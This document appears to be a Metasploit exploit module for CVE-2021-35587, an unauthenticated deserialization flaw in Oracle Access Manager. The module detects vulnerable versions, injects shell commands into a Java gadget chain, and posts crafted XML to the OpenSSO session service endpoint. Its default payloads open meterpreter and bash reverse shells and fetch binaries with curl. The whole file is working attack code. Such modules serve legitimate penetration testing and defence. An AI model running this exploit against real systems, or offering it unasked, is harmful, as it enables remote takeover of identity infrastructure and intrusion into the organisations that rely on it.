📄 Oracle Access Manager Unauthenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Oracle Access Manager unauthenticated Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO
              Agent component of the Oracle Access Manager (OAM) product. The affected product versions are 11.1.2.3.0,
              12.2.1.3.0, and 12.2.1.4.0.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Jang', # Original finder and technical analysis of CVE-2021-35587 (https://x.com/testanull)
              'Peterjson', # Original finder of CVE-2021-35587
              'Y4er', # This exploit uses a modified gadget chain from an exploit by Y4er (https://x.com/Y4er_ChaBug)
              'sfewer-r7' # Metasploit module
            ],
            'References' => [
              ['CVE', '2021-35587'],
              # Original Analysis of the vulnerability by the original finders, Jang & Peterjson.
              ['URL', 'https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316'],
              # Jang describes how to get a gadget chain working.
              ['URL', 'https://twitter.com/testanull/status/1502114473989279744'],
              # This exploit uses a modified gadget chain from CVE-2020-2883, by Y4er.
              ['URL', 'https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java'],
              # CVE-2021-35587 was patched by Oracle in Jan 2022.
              ['URL', 'https://www.oracle.com/security-alerts/cpujan2022.html']
            ],
            'DisclosureDate' => '2022-01-19',
            'Platform' => [ 'linux', 'unix', 'win' ],
            'Arch' => [ARCH_CMD],
            'Privileged' => false, # On Linux, executes as the user 'oracle'.
            'Targets' => [
              [
                'Linux Command', {
                  'Platform' => [ 'linux', 'unix' ],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/https/x64/meterpreter_reverse_tcp',
                    # A writable directory on the target for fetch based payloads to write to.
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ],
              [
                'Windows Command', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/https/x64/meterpreter_reverse_tcp',
                    # A writable directory on the target for fetch based payloads to write to.
                    'FETCH_WRITABLE_DIR' => '%TEMP%'
                  }
                }
              ],
              # OAM can run on HP-UX, IBM AIX, and Solaris, so we have a separate Unix target for these.
              [
                'Unix Command', {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'RPORT' => 14100,
              'SSL' => false,
              'FETCH_COMMAND' => 'CURL',
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            # By default, Oracle Access Manager is deployed on WebLogic under the path /oam/
            OptString.new('TARGETURI', [ true, 'The base path to the OAM application', '/oam/'])
          ]
        )
      end
    
      def check
        detected_version = get_version
    
        if detected_version
          detected_description = "Oracle Access Manager #{detected_version}."
    
          # According to Oracle, these 3 versions are affected.
          affected_versions = [
            '11.1.2.3.0',
            '12.2.1.3.0',
            '12.2.1.4.0'
          ]
    
          affected_versions.each do |affected_version|
            return CheckCode::Appears(detected_description) if detected_version == Rex::Version.new(affected_version)
          end
    
          return CheckCode::Safe(detected_description)
        end
    
        # By here we think the target is OAM, but we did not get a version number from the response body, so
        # we cannot do a version based check to determine if vulnerable or safe.
        CheckCode::Detected
      rescue Msf::Exploit::Failed => e
        return Exploit::CheckCode::Unknown(e.message)
      end
    
      def exploit
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'server', 'opensso', 'sessionservice'),
          'ctype' => 'text/xml',
          'data' => get_xml
        )
    
        fail_with(Failure::UnexpectedReply, 'Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
      end
    
      def get_xml
        gadget_b64 = Base64.strict_encode64(get_gadget)
    
        requester_b64 = Base64.strict_encode64("object:#{gadget_b64}")
    
        attr_authidentifier = {
          'reqid' => Rex::Text.rand_text_alphanumeric(8..32),
          'requester' => requester_b64
        }.to_a.shuffle.to_h
    
        builder_authidentifier = Nokogiri::XML::Builder.new do |xml|
          xml.authIdentifier(attr_authidentifier) do |xml_authidentifier|
            xml_authidentifier.SessionID Rex::Text.rand_text_alphanumeric(8..32)
          end
        end
    
        attr_requestset = {
          'svcid' => 'session',
          'reqid' => Rex::Text.rand_text_alphanumeric(8..32),
          'vers' => Rex::Text.rand_text_alphanumeric(8..32)
        }.to_a.shuffle.to_h
    
        attr_request = {
          'dtdid' => Rex::Text.rand_text_alphanumeric(8..32),
          'sid' => Rex::Text.rand_text_alphanumeric(8..32)
        }.to_a.shuffle.to_h
    
        builder_root = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
          xml.RequestSet(attr_requestset) do |xml_requestset|
            xml_requestset.Request(attr_request) do |xml_request|
              xml_request.cdata(builder_authidentifier.to_xml)
            end
          end
        end
    
        xml_data = builder_root.to_xml
    
        vprint_status('Using XML:')
        vprint_line(xml_data)
    
        xml_data
      end
    
      def get_gadget
        detected_version = get_version
    
        gadget_file = nil
    
        case detected_version
        when Rex::Version.new('12.2.1.4.0')
          gadget_file = 'gadget_12.2.1.4.0.bin'
        when Rex::Version.new('12.2.1.3.0')
          gadget_file = 'gadget_12.2.1.3.0.bin'
        else
          fail_with(Failure::NoTarget, "No suitable gadget chain for this version: #{detected_version}.")
        end
    
        # See ./data/exploits/CVE-2021-35587/gadget.java for how we generate the gadget bin files.
        gadget_data = ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-35587', gadget_file))
    
        shell_name = nil
        shell_arg = nil
    
        if (target.platform.platforms & [Msf::Module::Platform::Linux, Msf::Module::Platform::Unix]).any?
          shell_name = '/bin/sh'
          shell_arg = '-c'
        elsif target.platform.platforms.include? Msf::Module::Platform::Windows
          shell_name = 'cmd.exe'
          shell_arg = '/C'
        else
          fail_with(Failure::BadConfig, "No gadget shell support for target #{target['Platform']}.")
        end
    
        {
          'EXEC_ARG0' => shell_name,
          'EXEC_ARG1' => shell_arg,
          'EXEC_ARG2' => payload.encoded
        }.each do |key, value|
          gadget_data.gsub!(
            [key.length].pack('n') + key,
            [value.length].pack('n') + value
          )
        end
    
        vprint_status("Using gadget (#{gadget_file}):")
        vprint_line(Rex::Text.to_hex_dump(gadget_data))
    
        gadget_data
      end
    
      def get_version
        # This unauthenticated endpoint will conveniently report the OAM product version number.
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'pages', 'impconsent.jsp')
        )
    
        fail_with(Failure::UnexpectedReply, 'Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
    
        # We expect a response to have one or both of these HTTP headers.
        unless res.headers.key?('X-ORACLE-DMS-RID') || res.headers.key?('X-ORACLE-DMS-ECID')
          fail_with(Failure::UnexpectedReply, 'No X-ORACLE-DMS-RID or X-ORACLE-DMS-ECID HTTP header seen')
        end
    
        unless res.body =~ /Oracle Access Management Version: (\d+\.\d+\.\d+\.\d+\.\d+)/
          fail_with(Failure::UnexpectedReply, 'Unable to determine target version')
        end
    
        Rex::Version.new(Regexp.last_match(1))
      end
    end